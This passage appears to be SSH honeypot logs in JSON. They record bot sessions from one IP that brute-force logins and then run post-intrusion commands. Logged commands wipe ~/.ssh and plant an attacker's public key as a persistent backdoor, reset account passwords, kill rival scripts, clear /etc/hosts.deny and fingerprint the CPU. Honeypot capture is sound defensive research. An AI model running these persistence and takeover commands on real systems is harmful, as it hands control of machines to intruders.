.ssh","started_at":"2026-08-26T12:20:52.729954+00:00","ended_at":"2026-08-26T12:20:53.790316+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-26T12:20:21.957114+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:20:22.795112+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:20:29.990151+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:20:30.589839+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:20:31.459057+00:00","kind":"input","latency_ms":null,"data":"echo -e \"junin\\nDrwpo3Eaz3sf\\nDrwpo3Eaz3sf\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:20:32.320381+00:00","kind":"input","latency_ms":null,"data":"echo \"junin\\nDrwpo3Eaz3sf\\nDrwpo3Eaz3sf\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:20:33.189139+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:20:34.037316+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:20:34.889645+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:20:35.893055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:20:36.791909+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:20:38.125381+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:20:38.998929+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:20:39.614460+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:20:40.492288+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:20:40.905184+00:00","kind":"output","latency_ms":null,"data":" 12:20:40 up 6 days, 9:10, 0 user, load average: 0.34, 0.42, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:20:41.791266+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:20:42.479120+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:20:43.325537+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:20:44.122750+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:20:44.989656+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:20:45.648495+00:00","kind":"output","latency_ms":null,"data":"top - 12:20:45 up 6 days, 9:10, 0 user, load average: 0.34, 0.42, 0.33\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:20:46.493435+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:20:47.062194+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:20:47.900824+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:20:48.190711+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:20:49.054495+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:20:49.918390+00:00","kind":"output","latency_ms":null,"data":"junin"},{"seq":29,"at":"2026-08-26T12:20:50.789658+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:20:51.882407+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:20:52.730889+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:20:53.509990+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"junin","password":"junin","method":"password","accepted":true,"tier":"other"}]} {"id":"9e1e2435-7923-4a90-abbb-49574cbf1431","name":"marbled-leafy-parakeet","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":46306,"username":"junin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:20:28.417142+00:00","ended_at":"2026-08-26T12:20:29.689702+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"junin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e3e72e84-3922-4b90-9fd8-bae942d7612c","name":"solar-ashen-crane","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":46294,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:20:24.866382+00:00","ended_at":"2026-08-26T12:20:26.743009+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cf2acddd-96f5-4f8f-a250-7235fafc5f74","name":"quartz-merry-fieldfare","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":46086,"username":"casa","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":866,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:18:12.687619+00:00","ended_at":"2026-08-26T12:18:13.899076+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2234,"events":[{"seq":1,"at":"2026-08-26T12:17:42.693342+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:17:43.592168+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:17:51.059652+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:17:51.633773+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:17:52.499243+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nIMc9IBQUr5Bq\\nIMc9IBQUr5Bq\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:17:53.401848+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nIMc9IBQUr5Bq\\nIMc9IBQUr5Bq\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:17:54.290520+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:17:54.901717+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:17:55.798689+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:17:56.679710+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:17:57.557946+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:17:58.531672+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:17:59.392783+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:18:00.076209+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:18:00.931102+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:18:01.332619+00:00","kind":"output","latency_ms":null,"data":" 12:18:01 up 6 days, 9:08, 0 user, load average: 0.05, 0.06, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:18:02.200950+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:18:02.491934+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:18:03.389688+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:18:04.099017+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:18:04.990517+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:18:05.446775+00:00","kind":"output","latency_ms":null,"data":"top - 12:18:05 up 6 days, 9:08, 0 user, load average: 0.05, 0.06, 0.03\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:18:06.300092+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:18:06.730472+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:18:07.593967+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:18:08.462528+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:18:09.308891+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:18:09.932758+00:00","kind":"output","latency_ms":null,"data":"casa"},{"seq":29,"at":"2026-08-26T12:18:10.820587+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:18:11.822004+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:18:12.688462+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:18:13.621848+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"casa","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"0465e48f-9763-4d42-850b-573937b68b41","name":"glassy-prairie-okapi","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":46104,"username":"casa","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:17:48.992484+00:00","ended_at":"2026-08-26T12:17:50.794057+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"casa","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"fc23aaf9-6a61-4006-9a14-8454af4627cd","name":"somber-vaulted-tapir","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":46094,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:17:45.591698+00:00","ended_at":"2026-08-26T12:17:47.293192+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8214b350-ff89-48e2-8fc9-1322ba610469","name":"proud-granite-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":45894,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":841,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:15:22.489710+00:00","ended_at":"2026-08-26T12:15:23.905239+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-26T12:14:53.416587+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:14:54.244731+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:15:00.844737+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:15:01.285170+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:15:02.109235+00:00","kind":"input","latency_ms":null,"data":"echo \"root:W1urRkpubLxT\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:15:02.954085+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:15:03.789859+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:15:04.298039+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:15:05.145839+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:15:05.914124+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:15:06.747577+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:15:08.002045+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:15:08.847872+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:15:09.644612+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:15:10.483407+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:15:10.943570+00:00","kind":"output","latency_ms":null,"data":" 12:15:10 up 6 days, 9:05, 0 user, load average: 0.14, 0.13, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:15:11.786254+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:15:12.250022+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:15:13.087957+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:15:13.432738+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:15:14.284539+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:15:15.109418+00:00","kind":"output","latency_ms":null,"data":"top - 12:15:15 up 6 days, 9:05, 0 user, load average: 0.14, 0.13, 0.17\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:15:15.946837+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:15:16.840383+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:15:17.683910+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:15:18.034569+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:15:18.882903+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:15:19.633021+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:15:20.482799+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:15:21.660090+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:15:22.490254+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:15:23.641948+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"hpinvent","method":"password","accepted":true,"tier":"other"}]} {"id":"27a1f416-7522-4984-a555-5f07d0ebe4c9","name":"misty-obsidian-bittern","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":45910,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:14:59.789963+00:00","ended_at":"2026-08-26T12:15:00.588831+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"971493bc-dfc8-4a3c-98b8-157366e73303","name":"merry-zealous-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":45902,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:14:56.256257+00:00","ended_at":"2026-08-26T12:14:58.089846+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"41ec9c90-cb07-4820-bc0c-b2b99517f0b6","name":"chilly-ancient-fossa","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":45700,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":857,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:12:36.692031+00:00","ended_at":"2026-08-26T12:12:38.092738+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2271,"events":[{"seq":1,"at":"2026-08-26T12:12:05.061898+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:12:05.914432+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:12:13.964653+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:12:14.780837+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:12:15.630834+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XWqNCOLDLP0d\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:12:16.502915+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:12:17.396610+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:12:18.199111+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:12:19.093482+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:12:19.988149+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:12:20.861287+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:12:21.682901+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:12:22.591364+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:12:23.256356+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:12:24.106781+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:12:24.872820+00:00","kind":"output","latency_ms":null,"data":" 12:12:24 up 6 days, 9:02, 0 user, load average: 0.15, 0.12, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:12:25.722685+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:12:26.272648+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:12:27.122581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:12:27.875592+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:12:28.726529+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:12:29.558104+00:00","kind":"output","latency_ms":null,"data":"top - 12:12:29 up 6 days, 9:02, 0 user, load average: 0.15, 0.12, 0.15\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:12:30.414096+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:12:30.813683+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:12:31.694091+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:12:31.980166+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 